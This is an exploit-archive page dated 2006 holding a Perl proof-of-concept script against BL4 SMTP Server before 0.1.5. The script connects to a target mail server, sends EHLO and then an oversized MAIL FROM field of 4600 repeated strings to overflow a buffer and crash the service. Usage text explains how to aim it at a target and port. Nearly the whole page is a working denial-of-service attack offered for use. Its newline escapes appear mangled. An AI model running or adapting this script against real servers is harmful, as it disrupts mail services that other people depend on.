[Exploit] [Remote] [Local] [Web Apps] [Dos/Poc] [Shellcode] [RSS]
# Title : BL4 SMTP Server < 0.1.5 Remote Buffer Overflow PoC
# Published : 2006-04-27
# Author : Dedi Dwianto
# Previous Title : Golden FTP Server Pro 2.70 (APPE) Remote Buffer Overflow PoC
# Next Title : OCE 3121/3122 Printer (parser.exe) Denial of Service Exploit
#!/usr/bin/perl
use IO::Socket;
use Socket;
my($socket) = "";
if($#ARGV < 1 | $#ARGV > 2) {usage()}
if($#ARGV > 2) { $prt = $ARGV[1] } else { $prt = "25" };
$adr = $ARGV[0];
$prt = $ARGV[1];
$socket = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>$adr,
PeerPort=>$prt, Reuse=>1) or die "Error: cant connect to $adr:$prtn";
print " -- Connecting To SMTP server at $adr port $prt ... n";
sleep(1);
print $socket "EHLO yahoo.comrn" and print " -- Sending Request to $adr .....n" or die "Error : can't send Requestn";
sleep(1);
print $socket "MAIL FROM:" . "jessy" x 4600 . "rn" and print " -- Sending Buffer to $adr .....n";
sleep(1);
printf("[+]Ok!n");
printf("[+]Crash service.....n");
printf("[~]Done.n");
close($socket);
sub usage()
{
print "n=========================================rn";
print " BL4's SMTP server Remote DOS rn";
print "=========================================rn";
print " Bug Found by Dedi Dwianto rn";
print " www.echo.or.id #e-c-h-o irc.dal.net rn";
print " Echo Security Research Group rn";
print "=========================================rn";
print " Usage: perl bl4-explo.pl [target] [port] rnn";
exit();
}
# www.Syue.com [2006-04-27]